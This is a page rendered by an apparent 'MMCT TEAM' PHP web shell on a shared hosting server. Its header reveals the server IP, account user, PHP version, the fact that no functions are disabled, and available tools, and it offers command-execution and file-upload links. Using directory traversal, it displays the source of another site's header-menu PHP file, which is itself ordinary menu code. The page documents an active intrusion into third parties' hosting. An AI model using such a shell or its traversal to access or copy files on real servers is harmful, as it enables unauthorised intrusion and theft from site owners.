MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.135.202.38
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/panshimart.com/../webdigitalmarketing.in/../adisgauges.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/panshimart.com/../webdigitalmarketing.in/../adisgauges.com/site-header-menu.php
<?php
$link_sql=db_query("select * from tbl_site_pages where 1 and site_pages_status='Active' and site_pages_show_in_header='Yes' order by site_pages_order_by asc limit 0,7");
if(mysqli_num_rows($link_sql)>0){
?>

<div class="header-nav navbar-collapse collapse">
  <ul class=" nav navbar-nav">
    <?php 
while($link_data=mysqli_fetch_array($link_sql)){
$pgName=$link_data['site_pages_link'];
?>
    <?php if($pgName=='index'){ ?>
    <li <?php if($page_name==$link_data['site_pages_link']){?> class="active"<?php }?>><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html">
      <?=$link_data['site_pages_name']?>
      </a></li>
    <?php }elseif($pgName=='products'){ ?>
    <li class="hidden-md hidden-sm hidden-lg <?php if($page_name==$link_data['site_pages_link']){?>active<?php }?>"> <a href="<?=$site_url?>/products.html">
      <?=$link_data['site_pages_name']?>
      </a>
    <li class="hidden-xs <?php if($page_name==$link_data['site_pages_link']){?>active<?php }?>"> <a href="<?=$site_url?>/products.html">
      <?=$link_data['site_pages_name']?>
      <i class="fa fa-chevron-down"></i></a>
      <ul class="sub-menu">
        <?php
function fetch_header_menu($query) {
$site_url=db_scalar("select admin_website_url from tbl_admin where 1");
	while ( $result = mysqli_fetch_array ( $query ) ) {
		$menu_id = $result ['category_id'];
		$menu_name = ucwords(strtolower($result ['category_name']));
		$menu_cat_link = $result ['category_url'];
		if (has_child ( query ( $menu_id ) )) {
			$menuClass = "sub-menu";
		}else{
		   $menuClass = "";
		}
 	  echo "<li ><a href='$site_url/{$menu_cat_link}.html'>{$menu_name}</a>";
		if (has_child ( query ( $menu_id ) )) {
			echo "<ul class='{$menuClass}'>";
			fetch_header_menu ( query ( $menu_id ) );
			echo "</ul>";
		}
		echo "</li>";
	}
}
fetch_header_menu (query(0)); //call this function with 0 parent id
?>
      </ul>
    </li>
    <?php }else{ ?>
    <li <?php if($page_name==$link_data['site_pages_link']){?> class="active"<?php }?>><a href="<?=$site_url?>/<?=$link_data['site_pages_link']?>.html">
      <?=$link_data['site_pages_name']?>
      </a></li>
    <? }} ?>
  </ul>
</div>
<? } ?>
<?php include 'pop-up.php';?>

MMCT - 2023